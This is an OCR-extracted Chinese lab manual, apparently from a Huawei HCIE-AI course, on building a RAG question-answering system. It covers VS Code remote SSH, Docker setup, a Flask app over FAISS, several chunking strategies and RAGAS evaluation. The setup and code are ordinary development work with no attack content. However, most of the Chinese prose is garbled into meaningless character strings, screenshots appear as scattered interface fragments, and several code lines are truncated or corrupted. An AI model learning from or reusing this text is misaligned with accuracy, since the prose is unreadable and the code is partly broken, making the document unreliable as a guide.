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RELIEELR TR RAG RFtcBERERTF, BT FLASK 2% APl EMA#EO; KA LangChain

YEJI RAG RIFBFFAIESE, FHRA FAISS [MSIERS | ELMXEaSENFE . BEEREERS|

WESSMHEERES, BEe HyDE BRIRSIEIERER . RIS Query IXEhEHIF IS S

EE, KBRS [ MR- XAR-REANE-RERR -EHIF T KRR, |
TR .

1.2 LIS BRY
o EIREARR RAG BBEME.

o RKEFERAERNAAATE.
o K RAG B CEBEHBMIMIRIE

1.3 SCISIREEN LR

S faig MR wis FERHE
(&6 python: 3.9.10
RAG Z2#3 | LangChain [ torch: 2.8.0 AR5585: Atlas 800T A2
iRit5E | BAAERE | torch_npu: ( BJ7E docker T#EH £
53 17 RAG RHt#8 2.8.0.post2 #H1T)
SEFREI langchain: 0.3.28
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2.1 SLISNA
2.1.1 XFARLLE

ASCICET Atlas 800T A2 A MRS BHITHRIE, THALRBUFEREFE 1 KA B NPU
&, B3 vs code KEIZEMSEN,.

2.1.2 LI HAY
HtE RAG STUIERES, EEMSTIORIBET R ER BN,

2.2 SCIGTR(E
2.2.1 LGRS

LR 1 EERSEENE

FJFF vs code ( Itb&bFF%4 IDE afEEI%ESE, SLEEHLA vs code A, FEINEERITiZEAN NPU
WE, HERB) :
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WPS

rag_app_a... | VSCode-h...

scripts Notice

back_scripts

e 4

| Recycle Bin | MobaXterm

D ®

Firefox Smartkit

o2

Google
Chrome

BigModel

JO RN N

RAG ZRiEig it 5Lk

131

HEX vs code RS, SalfRAITE:

File Edit Selection

WPS

VSCode-
scripts

Welcome X
pack_scripts

VSCode-ht

Editing evolve

Start
Notice

n  MobaXte

Smartk

Firefox

31 ®odo

m 3 O =

View Go Run

Terminal Help Welcome - VSCode-huawei

b

Connect New Window to Host RemoteDev-SSH
Connect Current Window to Host 2

Attach New Window to Container

Attach Current Window to Container

Show Log

Set Log Level...

Install Additional Remote Extensions...

Jiaxian Community Hot Topics

Requires login to get hots topics.

/) Show welcome page on startup

RIE=Ts “Create New SSH Connection” :
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File Edit Selection View Go Run Terminal Help Welcome - VSCode-huawei

Welcome X Select configured SSH host or enter ‘user@hostport

VSCode-ht

<+ Create New SSH Connection...

SRIGHI root@IP:22 (IP JIPRSBZSEIMERY IP thiik ) . XKLL root FBFIEEIZIRSSE ., =t
“Enter” HHAKIN.

File Edit Selection View Go Run Terminal Help Welcome - VSCode-huawei

Welcome X Enter the destination SSH host to connect to

root@ 122

Press "Enter” to confirm your input or “Escape’ to cance!

VSCode-huawel

RGBSR E FERY “Password” IR, —EEm®, AELOIE:
File Edit Selection View Go Run Terminal Help Welcome - VSCode-huawei

Welcome X Select authentication method for root@10.175.221.73:

Password

1

Key Based

VSCode-huavweci

RERNRSS I NAYVERDH TER, &I,
BRI T ElR AR S5 =R A -
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ecycle Bin Mol

9

Firefox

Recent

4P

Google
Chrome

BigModel /| Show welcome page on starty

> SSH: AtlasB00T1 (root@ HEEEEEEN322) D oAo

S O M3 © m ¥

2.2.2 SREVCHE R

1 QEtsE
A EHEENR, B/s Terminal:

file Edit Selecion View Go Run

Weicome X

SRIEHIN:

cd /mnt/class/26xxxxxxx

mkdir DASE3EN ht
cd PAIGFE

/mnt/class/26xxoxxx XEXKIMEB =R,
IR 2 ENERZEE

f£ vs code FRE, WNTE, 56 2 IRCHWADTASERFAERER, REIEHA.
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File Edit Selection View Go Run Terminal Help Welcome - VSCode-huawei

Welcome X Open Folder

Recent

Show welcome page on startup

L', 3 EEER

1) TEMABE, TEEE: https://certification-data.obs.cn-north-
4.myhuaweicloud.com/CHS/HCIE-AI%20Developer/V1.0/hcie_rag_code.zip

&g Terminal, FENASGFTTHRITHIE:

| unzip hcie_rag_code.zip

2 ) & Embedding &Y bge-small-zh-v1.5, T&iEE:
https://modelscope.cn/models/BAAl/bge-small-zh-v1.5/files

3) & rerank 28! bge-reranker-base, T&HEE: https://hf-mirror.com/BAAI/bge-
reranker-base/tree/main

L 2 MEBIEEZRE hcie_rag_code {43t , SEUE, AEEREEES.env 4,

v hcie_rag_code
> __pycache__
v BAAI
> bge-reranker-base
v bge-small-zh-v1.5
> .cache
> 1_Pooling
.gitattributes
{} config_sentence_transformers....
{} config.json

= model.safetensors

{} modules.json

BARIBEREN:

—— BAAI
| —— bge-reranker-base EHFIEES



https://modelscope.cn/models/BAAI/bge-small-zh-v1.5/files
https://hf-mirror.com/BAAI/bge-reranker-base/tree/main
https://hf-mirror.com/BAAI/bge-reranker-base/tree/main

S
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| L—— bge-small-zh-v1.5
——— basic_faiss_db

| F—— indexfaiss

| L—— index.pkl

I basic_faiss_db2

| —— indexfaiss

| L—— index.pkl

—— bert-base-chinese
—— data

—— embedding_model

—— build_vector.py

—— files.py

F— models

—— ragas_batch.py

—— rag.py

—— splitter_utils.py

L—— template
L—— indexhtml

RAG ZRiEig it 5Lk

Embedding &%

FAISS mIEEE

FAISS [@&[ZF 2

bert {&EY

IR G AT R INELATIEEY

| |—— fast-bge-small-zh-v1.5

BTEESE 2 TREEATZAMREREUT
BT mE LA S HRFIRXAYSE
BT RS EERTRBAIMRE
EFHHAYEA
RAG RIEMIAE, tB2EnHIZA
pap-SiiZN

T EiEnimk s

FE17R

22.3( k) elEZE=E
SRAERR 53 e it T

BNl Python EEILPMESRIRE (MESLIRAEERFER) .

LR 1 BEER

BE, NRIEFREMRNET docker #HTIRIE, WNERFAEE docker, BITE

| docker images

[root@At1as808T1 ~]# docker images

IMAGE

HIATETE hice_dev_rag:1.0,

1)) DISK USAGE
€320b40bl4ab 26.7MB
1487d0af5f52 6.14MB
0968a153271b 24.7GB
42981c574533 28.1GB
0f2623f23ed2
e41031e64124
484a708e5063

CONTENT SIZE
7.36MB

1.9M8

6.87GB
7.51GB

MR BFHER, ZHEREZRAITEEFT hce_rag_code/requirements.txt, AISEFHHE,

TR 2 tEHERAs
7£ Terminal H&gI N

docker run -itd

--pids-limit 40960 --shm-size 128G -e ASCEND_VISIBLE_DEVICES=-£5 --name &3
-p ix[=:7861 -v /usr/local/sbin:/usr/local/sbin:ro -v/mnt;/mnt -v /opt:/opt hcie_dev_rag:1.0 bash

*SHiROSEBHITSEES, SRt BZ&iN: B&%E5 _npu_ RS, 2 lht_npu_3.
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REERBCHER:

| docker exec -it -u root 25884 /bin/bash

REFTRRBBRIER T, AR IGRYRMFIIREIY vs code Y Terminal FEiZ&==HiHIT .

2.3 BEZEFR
R B IRESSEGR S S RS HEREN AT AIFE?

SELER:

1. MESE—H: REIIEBETINR. Kifl. B8, SARJHFLRAES, MBESEE
WMRIRE o

2. AESHEKRESH: FIFRGITIET &, NEFET—ROIR, SXRIZEN
BRME.

3. EEtEEANnR: NEEHTBEAESREN G, AMEPELTERN TR, THHEE
B,

2.4 LIS/
ANSLIG FEHES RAG SLIGHIIAE, B TR SSFFE T Hittres .




S

HUAWEI

RAG ZREIRIT 5L B193;

3 il RAG

3.1 LIS/ 48

3.1.1 XFARLLE
ZIS/A RAG EAtsioF B e BEA R IER AL 0SS ESR . BIISEIININE,. mENE.

IEMER . KEBLEREFORE, SeriEdl RAG RIEINRE, BRXEESNNTERE. 40K

E’J@ A, STHEFIAGFNRERSEDERER . AL RAG BIIHEER:

1

2
3

4,
5. RAGAS #t &1

. RAG IJBE FRISE
« JERAG B TFRIXHE

SRATHRER
MAHR(FEHHZRS]

3.1.2 sE3E BAY

ZERAGRFRIX LIS RERIE
HE O BRI RS AREA BAIMEZEE .
REIS IR FEIE RN RAGIRIESARSS , 1R AFAB AR EAYE I STIRAES]

3.1.3 sCIEALK!
B S TR SRR ST BN
Ea;umpﬂ THE AR FIEE;

BIRRERARAEEL R EER;

H_}:Lf'_l'“ﬂ’&/)»h_t IIEEAL RAG [IZRUEIRE ST R

3.2 SCEGIRME
3.2.1 *h2CIBFET

L] RETEKE

=
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ASBIFAIME FEEE requirements.txt 3FFRITES,

| pip install -r requirements.txt |

S 2 L ragpy
£ vs code ZEMIFRE, #Z rag.py BIZASPH rag BE, HEE#INERABRINE, NI
fig:

context_text = chr(10).join(retrieval)
resp = client.chat.completions.create(

model="qwen3.5-plus",
messages=[{"role": "user", "content": f'_E~3Z: { context_text }\n [alEk: {query}"}],
stream=True
)
full_answer = ""
for chunk in resp:
if chunk.choices and chunk.choices[0].delta.content:
text = chunk.choices[0].delta.content
full_answer += text
yield json.dumps({"content": text }, ensure_ascii=False)

S 3 BmEXH

£.env XIHAHECERBEREIAMN API-KEY &, BEAIARY API-KEY 2161, EEAE/KE ST
R API-KEY, 1&ERIERZEMHINREEES .

800T1 (ROOT@10.175.221.7322)]

SR 4 #HANIBEEHRBER
1£ vs code B9 Terminal #117:
| cd /mnt/xxx/ N A& /hcie_rag_code

L] 5 KRBT

£ Terminal /:

| python rag.py |
L H I T A BT A7EDMRANAY Chrome RIBSEEHENEFEIN ipimOl, ip FlisOSHIHHSE
AYIES, tbin 10.175.221.73:7861,
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Torch-2.1.9) [root@6528a9d76d39 hcie_rag_codel]# python rag.py
Serving Flask app ‘rag’
* Deb

bug mode: off

(Py

* Running on all addresses (0.0.0.0)
* Running on http://127.0.0.1:7

* Running on http 72.17.0.2:7861
Press CTRL+C to quit

€« G A Notsecure 10.175.221.73:7861 w @

RAG EHERIERR

D wEnE
BEERE

3.2.2 Bt RAG 181E

LB 1 RAGHER
SHEREEIAZ RAG 1230, MASHIREEXAEE: “7E IPRAN SEERBRFEF, &
ERixOM~%E LOS £, EiERERESWSELT iilfﬁim.:., EF AR IE? 1XFE
EAURIBRIAESRNZRTA? 7
RN TR RS KRR S RN, 0SS, MENT—ETRSAR,
*JEE'EU}:AEEEIL,\ZE'{M|EJ§EO

v O RAGEREFERSR x |G - B
€ G A Notsecure 10.175.221.73:7861 & ®
RAG EHERERR
= U0 . AR
STIREY T N, FDTZISESHBIEL a 0 BERE
BR—: PRTTRE
XBigEF10SER0 (

IRESEHRTERRE". B
2) | EHEAREHEZY

B@Xi’é%‘"diﬁ i
* (RDVIEEE LOS B8

(81a4) , ZIRIFE r.m\ rpag g
EJ"I BEEESE (7122) &%, Fé

EFRREAAE

2. {RIBAESSRARNY :

sk @E%z@ﬁ;&uw&ﬂw

REFEERAR: ~ ™S8 ~1EE > BEE > WS~ BREREF.
ROSEENHEN, RERBEEE (MWEE) SS(FARE, tESES

xﬂ]

FECRZHN: ~ BF ~ RESSES |2 L EisE 89 §Y%’$J”JJ‘ LE—R
%Eﬁiﬁimé’v@'i&%"m HAHERESENMRESE, LESEITH

AN ER
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AWl RAG 22iiRItS5ER #2007
def rag(query):

{EF: RAG EXARAMEE — KB — FERKEELRER
WA: FFE@ query

it Rz JSON =&

init models() ##iRKEISIEE

init_faiss() #HREEREE

faiss_db = files.faiss_db #IIZEE@SZE

if not faiss_db:
print("iE 5 LE X IEIEERS]")
yield json.dumps({"content": "iB5E A& HHTFEZRE "}, ensure_ascii=False)
return

docs = faiss_db.similarity_search(query,k=3) #1&ZHB{IAY 3 NSIAER

#HRIBESRENRBMEEAS
if CHUNK_METHOD == "parent_child":#RQF5 ERERK, BIRIE

retrieval = list(set([doc.metadata["parent_content"] for doc in docs]))
else:

retrieval = [doc.page_content for doc in docs]

#BILER USRI RIRE]

yield json.dumps({"retrieval": retrieval}, ensure_ascii=False)

HERMORASATAERSE
context_text = chr(10).join(retrieval)
#ARIEBIAE RO
resp = client.chat.completions.create(
model="qwen3.5-plus",
messages=[{"role": "user", "content": f'_ET~3: { context_text }\n [@F&X: {query}"}],
stream=True
)
full_answer = "" #{FFE£EREZ
for chunk in resp:
if chunk.choices and chunk.choices[0].delta.content:
text = chunk.choices[0].delta.content
full_answer += text
yield json.dumps({"content": text }, ensure_ascii=False) #;;zCiR[E]

\

IR 2 FRAG R

wE CEBRN , EEIEIREE, i Rt a? 7
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M O RAGEEEAERS X  +
< C A\ Notsecure  10.175.221.73:7861
RAG EHEAZRSR

= 0 #FRE

/R -/
fRetitta? ——
177! BE—AAEEEE, TLURREBREEDOES, MR, KA

HIRSIERE, WEKE, FISTREAELE,

Bk, BERUTESE:

### [ " FoHESHE™

* RERE: > SHk, XE, RS 83, ¥R BIAE,

* <EEEBH: > RESEER. UUER. ARES (niE—RiEREEER SR
BHlR) .

* QRS > BRKEVE SCERE IS EREREENES,

### B IRIESRA
* ~S(RE3: ** 373F Python, JavaScript, C++, HTML/CSS EE2TRISIES, -

NG sEEn v

#OMLRS :

P

# 7o RAG Ei&@Ei7
def no_rag(query):

ER: ZRRER, ERARXERDZ
WA BFERR
i 7 JSON =5

nun

=(ia)

%

)

init_models()
#AERE RIS

yield json.dumps({"retrieval": [{"content™:"JFAGZAEZL", "source":"F5"}1}, ensure_ascii=False)

resp = client.chat.completions.create(
model="qwen3.5-plus",
messages=[{"role": "user", "content": query}],
stream=True

for chunk in resp:
if chunk.choices and chunk.choices[0].delta.content:

yield json.dumps({"content": chunk.choices[0].delta.content}, ensure_ascii=False) #;7 LR (]

EIR 3 RAG WERiTG
WNRABBIT — L2 WIBIR T iR RAG EFHIRE, AJLAUBED RAGAS iHHAEZESRSLH .
EREATARE—MIEKIEE, RE T aUEER:
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PO ok &

TUAWEL RAG Z2#3i8it 5Lk 5524,
C A Notsecure 10.175.221.73:7861 ﬁ @ C
1S53 WYL an. FE@rEdmrt, BIIELIT X,

### Q RIBSHIL

* SERER: < OMREeIERT (HAWBREE, S, AR .

* EERR): < BRHRIRGITE. SIHSRSRE,

* ABWRE: ~ RIWRESLERRENEL, BN RSEAGHTIHES
3.

[ RAGAS i (34EEF)
WH41: IPRAN S52E Choose File | No file chosen FreaitE
Wi&2: TimeXerté

343 IPRANERESSRSA R ARITIZ 5P

U2 ot
=2 A

WE: SHHs

wE: 0/0

 mese | omzel

LS ERIFIVEEE FET R [ BTFHER— N EEEIRIEE, XBNERNMEMER]

v LIHAITAO [SSH: ATLAS800T1 (ROOT@10.175.221.73:22)] GG E g

moae l=
messages=
stream=

> __pycache__
BAAI
basic_faiss_db )
full_answer =
bert-base-chinese . chunk resp:
v data f chunk.choices chunk.choices[@].de
chunk_samples text = chunk.choices[@].delta.content]
- full_answer += text
documents X
Jjson.dumps(
eval_uploads
{} test_QA.json
B ft_data.csv
test.pdf
) emoeaaing_moael T TERMINAL
v models
yolo_x_layout
» resnet18.a1 inlk Press CTRL+C to quit
o : . e 172.31.65.217 - - [19/May/2026 16:39:02] "GET / HTTP/1.1"
table-transformer-structure-recognition

> template ¢ EXNEE Embedding 3. ..

BT IFEREIEFEGIIT [ INREETESEE, HORLUEASE ]

LIHAITAO [SSH: ATLAS800T1 (ROOT@10.175.221.7322))

AEBLLEEIHMEFREHETIFE, Terminal PO iFEHE
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RAG ZRiEig it 5Lk

172.31.65.217 - - / 6 10:02:84] "
. 6 10:02:84] ™
ansformer-structure-recognition 5:19:02:66] =1
6 10:02:07] ™ _pro S = b
6 10:02:08] " 1
172.31.65.217 - - 6 10:02:09] " 1
Evaluating: 33 | 1/3 [ee:

6 10:02:11] "
6 10:02:12] ™
6 10:02:13] "
6 10:02:14] ™
6 10:02:15] ™
6 10:02:16] ™
6 10:02

1
1
2 §
/1.1"
/1.1"
1
1
1

iHhseRk/E, AEmHIHEER

R, EFCIZNIRISLHT SRR (BRAFRATERVER L
R B T A IS,

e ~E FE S-St aENeE, BSYEEE
AEEREND? > TeES—RRE., i aNE, f28
IABBAT 2535 !
[ RAGAS i (3H#2)
S ZSES E9aMN. txt Choose File | test_QAjson |Fraipas|
FUZFIPRANES R A R AORT FI 2 58 ot T
DRSBTS SRR EEAR ot S FHETek
HE: 3/3
l HREARE: 1
ERESISTIERIE: 1
i EPEBIESHERNE: 051
\ S .
LS

#LBUE RIESHREY
llm = ChatOpenAl(

model="qwen3.5-plus",

openai_api_key=files.API_KEY,

base_url=files.BASE_URL,

temperature=0.1,

model_kwargs={"extra_body": {"enable_thinking": False}}
)

llm = adapt_messages_for_gwen(llm)

# BRIESHEBIERELS ragas

ragas_llm = LangchainLLMWrapper (llm)
files.init_models() ##)iA{L EISIEEL

# JEOSEE LS ragas

ragas_embeds = LangchainEmbeddingsWrapper (files.embed_model)

#HHE 3NLE, BRE. BREXME. LR

m1 = Faithfulness(llm=ragas_llm)#ig%E
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m2 = AnswerRelevancy(llm=ragas_llm)
m3 = ContextPrecision(llm=ragas_Lllm)

print("( FFAIFE..")
res = evaluate(
dataset=dataset,
llm=ragas_llm,
embeddings=ragas_embeds,
metrics=[m1, m2, m3]#3 MetrEFHE—EITH

def safe(v):
if isinstance(v, list):
v = sum(v)/len(v) if len(v) else 0.0
return round(float(v), 2) if not isinstance(v, type(None)) else 0.0

ragas_result = {
"I ZAEREM": safe(res["context_precision"]),
"R SO EMERME": safe (res["faithfulness"]),
"R E B e safe (res["answer_relevancy"]),

}

REDE4E:




S
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RAG ZREIRIT 5L 27|

BUREChatOpenal Tl

qwen3.5-plus. ACEEW/ AN, X,

adapt_messages_for_qwen

SRR BRI

Langchainl LMWrapper

HElm — ragas_llm

files. inft_models()

Do i A

Ff¥embed_model

 ragas_embeds

mi m2 m3
BLE ERARN LTFXHE
fIENRE
Fi&iFE

evaluate() ftBHRITIHE

A8 dataset. ragas_lm. ragas_em

REEEITEER

res

TE M safed B

FIgRTY). S{E0. REL)K

#Hitragas_result TR

1. %2 context_precision
2. ERESIEHIERHE faithfulness
3. EREERRNE answer_relevancy

BHIFAERFR

LUR A4 THRIE (%)
AliRAEAL FARNGEHIEXRE, WESEAERR, SNEHEHETT files.py AIHMERS
iRia:
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HUAWEI RAG ZRiEig it 5Lk 828

O 3Z#41: IPRAN TEEEISESERAN. txt "‘i Y evSp———
O 3TRE2: TimeXertSZIEIPRANBI B IRMIFREOR A £ 48 0t
43 IPRANEEESAESHR (L ANERIE S ERIRIEFM

| Choose Files | No file chosen |L{§S’(f¢f@§£m§l

R MBRSERNE, SREERSUGIZS|. IIREEHITAIGANE, BEEENE

3.3 BEW

N

iBfl: IZ1T RAGAS RIHERT, At AR THIERERAR?
SEER:
1. #FH LLM pOEIRIRE

RAGAS #8#% (40 Faithfulness. Answer Relevancy ) {&&ft LLM ZE#EHE, LA Faithfulness
16, BRFRDBEFERFHIZERE ETHE, FlES B EHER I BNRIRES
. BME temperature=0, API EEXE. HITRESHFNESSHEMATERRDHIE, 218
HRE2ERH—EH KR,

2. RAG HRPEIEAENMS (URSER )

EIHLAIREE RAG %8, BREBIRER. EHiF . solEEREXEERIFRATEERR, W
ANETXERBERZISER Faithfulness. Context Precision FEfRiEE . XL RFHID
8%, 3 RAGAS tEZRAS,

3.4 LIS/ N\

RIREIGTERE T5eBAVENE RAG [BIER S, EiETNEREN. IEXER. BEREMFZO
A . BRERRARBILGIERR, & 7 &5t RAG FISTES RIS .
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4 SRB A SITEEE R

4.1 SEIGA 4R

4.1.1 KXFARELIE
ASLIGELE RAG NAD RIS EiBISai A= . BIRASEINN A SR GIIEIFN
HENY, HFANKREGSERR. 28, WEBRSTEIEEER, MaERNE, FEaER
HWE, BRESHEIIREE R, Aok ETRXHE., BEAMERESHT,

4.1.2 LIS BRY

o ZERERAGNADRHIBEANRIBESEREME,

o B THIEIS SRS EREIIZIE.

¢ ZFLBEIMMUOIRKESTEEINTE, BHENRERRRESEREMRE.
4.1.3 SCIGHIX

B EBENNE A T SIESTRAME, SO SRR,

BR8N NARTINRER., MRS THIEER;

e roaUERmENEFETR R .

4.2 SEUGIR(E
4.2.1 #FoRARHYCHS

ARLIRFLUARNS RSN, AERELIORITZBARFRESIRS . 1£ splitter_utils.py 7
PEBREFRORS N SEIRERINNE, S files.py FitiTER.

LB, 1 RO FOHAES

def sentence_split(text):
text = resub(r"\n+"," ", text)
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sentences = re.split(r"(?<=[o | ? ; 1)", text)

sentences = [s.strip() for s in sentences if len(s.strip()) > 2]
return [Document(page_content=s) for s in sentences]

5301

IR 2 BN D HRALES

# e —————————————————————————————
# 3 1IBX DR
# s ——————————————————————————

def semantic_split(text, embed_model, threshold=75):
# FHRAFDE
sentence_docs = sentence_split(text)
sentences = [doc.page_content for doc in sentence_docs]

if len(sentences) <= 1:
return sentence_docs

# (R SemanticChunker
semantic_chunker = SemanticChunker(
embeddings=embed_model,

breakpoint_threshold_type="percentile",
breakpoint_threshold_amount=threshold # {FFE{ENBISEE

try:
semantic_chunks = semantic_chunker.create_documents(sentences)
return semantic_chunks

except Exception as e:
print(fiEX DIREW, ERDFIR: {e}")

return sentence_docs

£ 3 RRXFHHRELED

\

# S
#4 XFDR
# s ety

def parent_child_split(text, parent_size=1024, child_size=128):
parent_docs = RecursiveCharacterTextSplitter (
chunk_size=parent_size, chunk_overlap=128
).create_documents([text])

child_splitter = RecursiveCharacterTextSplitter (
chunk_size=child_size, chunk_overlap=16

)

child_docs= []

for p in parent_docs:
children = child_splitter.split_text(p.page_content)

for c in children:




S
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child_docs.append(Document(
page_content=c,
metadata={"parent_content": p.page_content}

)

return child_docs

LR 4 WFTHERIBALRD

# _—=—= ==
#5 MERIEDHR
# _—=—= ==

def summary_lead_split(text, client, chunk_size=512):
chunks = fixed_size_split(text, chunk_size, 64)
enhanced =[]

for doc in chunks:
content = doc.page_content.strip()
if not content:
continue
try:
prompt = f"i5F 10 FLAREGEHHEXERY = {content}"

response = client.chat.completions.create(
model="Qwen/Qwen3-32B",
messages=[{"role": "user", "content": prompt}],
stream=False

)

summary = response.choices[0].message.content.strip()
new_content = f' [ 2 ] {summary}\n{content}"

except Exception as e:
new_content = content

enhanced.append(Document(page_content=new_content))

return enhanced

4.2.2 M FETcEEIEIRAIAS
Pt AERITTTEIRIEIE?
RAG RFRITTEURIERE M AMRMNANE). KR, £ RSERURE, 1ORIITIRIE
WirgdavRIteE, EEIN. AIEEMNERE ERMESHERR, BOBZ=OR, ErYS
EXIRENRER . SHIMIESIE, NBRARREEESATHEE.
fx splitter_utils.py BIARREZFR SRS SEIRERAIVMD, £ files.py FEHITIEM
*NFETTEURIRIRAOMNRS, TTEUREEFHOERIR, &R, SHITEUNRDRIKE.
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# TUEIEIG R --- T AR R (TS

# ===c===< ==

def add_metadata_enhance(docs, filename, chunk_method):

for i, doc in enumerate(docs):
doc.metadata.update({
"filename": filename,
"chunk_index":i,
"chunk_method": chunk_method,
"length": len(doc.page_content)
)

return docs
4.2.3 1A R

7 files.py LRG> A AR TTEABIERAYE B .
ST esstRahiER

f CHUNK_METHOD == "fixed":

chunks = fixed_size_split(doc.page_content, CHUNK_SIZE, 64)

chunks = fixed_size_split(doc.page_content, CHUNK_SIZE, 64)

LIRS RIS TSN :

if CHUNK_METHOD == "fixed":
chunks = fixed_size_split(doc.page_content, CHUNK_SIZE, 64)
elif CHUNK_METHOD == "sentence":
chunks = sentence_split(doc.page_content)
elif CHUNK_METHOD == "semantic":
chunks = semantic_split(doc.page_content, embed_model)
elif CHUNK_METHOD == "parent_child":
chunks = parent_child_split(doc.page_content, parent_size=1024, child_size=256)
elif CHUNK_METHOD == "summary_lead":
init_models()
chunks = summary_lead_split(doc.page_content, client, chunk_size=CHUNK_SIZE)

else:
chunks = fixed_size_split(doc.page_content, CHUNK_SIZE, 64)

IR 2 RINTEIRIEENER
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if CHUNK_METHOD == :
chunks = sentence_split(doc.page_content)
211f CHUNK_METHOD == emantic"”:
chunks = semantic_split(doc.page_content, embed_model)

CHUNK_METHOD == "parent 11d":
chunks = parent_child_split(doc.page_content, parent_size=1024, child_siz{
f CHUNK_METHOD == "summary_lead":
init_models()
chunks = summary_lead_split(doc.page_content, client, chunk_size=CHUNK_SI

chunks = fixed_size_split(doc.page_content, CHUNK_SIZE, 64)
1 METADATA_ENHANCE:

file_name = doc.metadata["file"]
docs = add_metadata_enhance(chunks, file_name, CHUNK_METHOD)

gles gb

# ========== FUHUIEIZE--- STHURIGR(ES —========
if METADATA_ENHANCE:
file_name = doc.metadata["file"]
docs = add_metadata_enhance(chunks, file_name, CHUNK_METHOD)

I8 3 i/ SRR
£ files.py &, ¥ CHUNK_METHOD i&&5 “parent_child” :

embed_model =
faiss_db =

chat_history
ragas_result
ragas_progress
CHUNK_METHOD =
METADATA_ENHANCE
CHUNK_SIZE = 256

INDEX_FILE_FAISS
INDEX_FILE_PKL =

pead »(:

__init__ (self, model_name: str =
.model_name = model_name
._model_instance =
._init_model()

embed documents(self, texts: Lis

FREMERDERAE:
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shutil.rmtree(INDEX_DIR, ignore_errors=
os .makedirs (INDEX_DIR)
init_models()
init_faiss()
docs = faiss_db.similarity_search("IPRAN 5= 5" ,k=3,filter =
doc in docs:
print(doc.metadata)
ZBERBERATOTIEEN, B9 X4 1: IPRAN 4 EZRHES [N xt .
1=

& 4 =7

B ctri+c FIEZRIRIBRSS , RIBBIRARERR 2K ctri+co AR

| python files.py

U EIEES
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OUTLINE

TIMELINE

STEDROYSY “STRS 10 IPRAN SEESIHE SRR PHIKE, T EbTHYE
TS, MRFAHTSE. SRS, SHRKES.

DFSRINTRE: LRERELETY, FREENE, RIREMESREES, MO0
5, BFAREEIL.

(S A=

TCEEISIRAYRIR | @I _EMERY chunks IRBIRITTENRER , LLATSHEFR, JRIICATRIZEER
iR, BERE. BaLAMHEMES I RA TR IS .

4.2.4 B oRGEIER

B13151T ragas_chunks.py B4, SLHLEE ragas {EZEXIZ DR A AVERIT(G, M ETEX
. BiIfE. SRBXUSSZEER Lo RTERIVRES

BINETEEE R env FRUELEEE [ BEnHLANEERENERL, FER1THCE API-KEY ] :

HAITAO [SSH: ATLAS800T1 (ROOT@10... hcie rag cod
data
> embedding_model
D kernel_meta "htty {5113
D models ‘
D template
Lenv
P api_server.py
» build_vector.py
P client_request.py

P files.py

P rag_router.py TERMINAL

R LUME R BRI RARBL AR, IASREZREATERL G)_URL #1 GJ_APIKEY

| python ragas_chunks.py
ragas_chunks.py #/CMXRBE0T:

def run_ragas_evaluation(test_dataset, strategy_name, rag_func, lm_model,embed_model):
""gF RAGAS HEZRXIERE RAG SRR IS RS
Args:
test_dataset: JIXEUEEE, A7 question. ground_truth FREREE
strategy_name: HFIfFT(L RAG KIEEZTR, ATHTETR
rag_func: FRFENEY RAG H#EIBRREL, NS0, JR[E] answer. contexts
llm_model: {EUSIRREAIAIEEINI SR
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embed_model: FFNIFERY @IS R NEEL
Returns:

RAGAS iHEERIIR; THEMEIE/SERTRE None

# ¥IAML RAGAS TR EIRER =R

eval_data ={
"question": [1, # FAPEIfERR
"answer": [], # RAG CRR&ERYEIZ

"contexts": [], # RAG HRFINS=Z R FERIIFE
"ground_truth™: [] # ATIREEHE

# BHEZWXAL, H#EFRBRIFNTLERE
for test_case in tgdm (test_dataset, desc=f"i¥Fi; {strategy_name}"):
try:
# EAFER RAG BEHITITE
result = rag_func(test_case["question"])
# WEAKDE L EHIEFNITEE
eval_data["question"].append (test_case["question"])
eval_data["answer"].append(result["answer"])
eval_data["contexts"].append(result["contexts"])
eval_data["ground_truth"].append(test_case["ground_truth"])
except Exception as e:
# BERAGIKWFTENEE, AEEAiTdL
print(f'  [EIRRLIRSY: {e}")

continue

# REEREBFEEHLER, THIEEEZERTH
if len(eval_data["question"]) == 0:

print(" REEMAIDMER")

return None

# FHIEEH RAGAS FiFE Dataset frEIET(
dataset = Dataset.from_dict(eval_data)

try:
# 1T RAGAS ZHEIEIRTN
result = evaluate(
dataset=dataset,
embeddings=embed_model,
# 1% 4 Tzl RAG FHEIEIR
metrics=[
ContextRecall(llm=lm_model), # ETFNBEER: nEEEEEERELIMEE
ContextPrecision(llm=llm_model), # ETFXEHEER: KERFEREEEHILEERT
AnswerRelevancy(llm=Ilm_model), # EIZBEXE: EHEREEWS AR
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Faithfulness(llm=Ilm_model) # ESLRSLE: OZEEEEOdE. EFEEEFTY
]
)

return result

except Exception as e:
# BIMNFURERERRK, ROz
print(f" RAGAS &5l {e}")

return None

EURAEBI7E./data/chunk_samples T, ASCIDS/IEENIS, MNEFAELERERE, SEFEA
HEIEETEF 2ESE, ARRIRFEEBX MG ENTRE.

\\\\\

4.3 BEI

[Ef: RAG RFEFDERXFHOR + THIBBEIERSHERTA?
SELE:

RAG KRR FOEAHRIE, SIRFRIEL TG, FRIEHOREE . BREEAIFISET
MR EFIRTRE, FEELARAREE, BRARNANEET. BB TiuEEE, HENF
REFEFFBRR ID. . ME. kiF. SEFUEFER . ORGP FRGE, TBITEEN
TE TN, IMERERATRE. EERSRTRE. SEERMERAE. A FRIMEREEE
S5ETXEEN, BRERE—SRIELE. ERER. OREFFINTE, BT
Bt

4.4 LIS/

ARIRSEISTRY T NAD B E TeEIEEEA RAG SR, BRI D RS TTEIEST
E, BYIREATRREEESASTWIRES], EiET RAG HIREFRMEM ERAV UL TTiE
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5 RERRZ=N

5.1 SLIGHY
5.1.1 EFASLIE

ARG FESLH RAG [IERFANCETRFTIMLRTRIIEE . RAETHRANIRECRSE RN

ERY, REFRRERINNAIEANIERIR, SSMaE AR, KIEUEIE,

Z B RAIERIR A XASRIKIR:

RAG BEERERR

EEEGRSD, AVERROE 10s 52, ANREESWSEHE

. BERAEE? )Aﬂiﬂfiﬁﬂ‘{&ﬁgﬁﬁé‘ﬁﬁﬂ!ﬂﬂ%ﬁﬁ?

BEZEEREAT) |, FIVEBEROFSE L0S £
EASTRESZMNER, FANNESRKIEMINT:

MRIFBYEERON LOS SZEMRRSE,

CIRES | RARNEE (REREAESE) SUSE (0
PRESE, SR EREE.

R B FEREE (AMWEE L0S FE) |, Z8A
[ BRTREETI,

b RBRHRAY - ERABGREIAN - S~ IRERE Rk v

‘RAGEit v

Bl

N A TS 3 e b A s

fitighe, F ZNEATER. TREEmN
PON+IPRANBEAEENEF, BEESGIES
HERABRIRENARIEZN, IPRAN
MEBNBECEARET A, MNcHSRE,
ESFERENSTEARES, RE, KB
£FZ, ETHTRFEENEELE, 25
BnEEERAEE, BINEEARNTIE
